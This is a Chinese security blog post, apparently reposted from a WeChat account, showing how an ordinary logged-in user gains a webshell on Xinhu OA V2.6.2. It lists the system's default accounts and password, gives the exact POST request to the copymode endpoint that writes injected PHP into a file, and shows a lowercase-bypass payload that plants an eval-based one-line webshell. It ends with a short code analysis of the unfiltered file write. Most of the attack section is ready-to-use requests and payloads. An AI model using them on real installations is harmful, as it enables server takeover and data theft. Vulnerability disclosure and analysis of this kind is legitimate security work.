信呼OA普通用户权限getshell方法

admin 2024年2月23日17:43:23评论17 views字数 1327阅读4分25秒阅读模式

0x01 前言

信呼OA是一款开源的OA系统,面向社会免费提供学习研究使用,采用PHP语言编写,搭建简单方便,在中小企业中具有较大的客户使用量。从公开的资产治理平台中匹配到目前互联中有超过1W+的客户使用案例。

信呼OA目前最新的版本是V2.6.2,发布时间是2023-12-22。作者整体上保持了较高的系统更频率,对历史爆出的安全问题也及时进行修复。目前网上能找到的信呼OA getshell的办法大多数是老版本或者是需要admin权限的,没有针对新版本进行getshell的思路。

0x02 步骤

本地搭建当前最新版的信呼OA系统V2.6.2,如下图所示。

信呼OA普通用户权限getshell方法

使用普通OA用户登陆,信呼OA安装之后默认存在账号diaochan/xiaoqiao/daqiao/rock/zhangfei/zhaozl等用户,密码都是123456。这里使用普通用户xiaoqiao登陆,然后构造下面的请求。

http://xinhu.test.com:8890/index.php?d=main&m=flow&a=copymode&ajaxbool=truePOST:id=1&name=a{};phpinfo ();class a
信呼OA普通用户权限getshell方法

生成的文件访问如下(以下两种方式均可):

http://xinhu.test.com:8890/webmain/flow/input/mode_a%7B%7D%3Bphpinfo%20%28%29%3Bclass%20aAction.php

http://xinhu.test.com:8890/webmain/model/flow/2%7B%7D%3Bphpinfo%20%28%29%3Bclass%20aModel.php

信呼OA普通用户权限getshell方法

由于传递的参数值会被全部转化为小写字母(下一步的漏洞分析中会提到),导致我们不能在webshell中使用大写字母,所以并不能直接写一句话webshell。绕过方式是可以通过下面的方式来转化一下一句话木马。

http://xinhu.test.com:8890/index.php?d=main&m=flow&a=copymode&ajaxbool=truePOST:id=1&name=a{};eval (strtoupper("eval ($_request[1]);"));class a

运行之后访问下面的链接,由于链接中涉及到多个特殊字符,如果不清楚应该如何转义的请复制下面的链接。

http://xinhu.test.com:8890/webmain/flow/input/mode_a%7b%7d;eval%20(strtoupper(%22eval%20(%5c$_request%5b1%5d);%22));class%20aAction.php?1=echo%20md5(1);

信呼OA普通用户权限getshell方法

0x03 分析

在webmain/main/flow/flowAction.php文件中,其中copymodeAjax接收外部用户传入的参数,如下图所示。

信呼OA普通用户权限getshell方法

继续跟踪createtxt方法,如下所示,仅仅只是进行了文件写入操作,并没有进行过滤,导致任意文件写入漏洞。

信呼OA普通用户权限getshell方法

原文始发于微信公众号(Beacon Tower Lab):信呼OA普通用户权限getshell方法

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月23日17:43:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   信呼OA普通用户权限getshell方法http://cn-sec.com/archives/2519799.html

发表评论

匿名网友 填写信息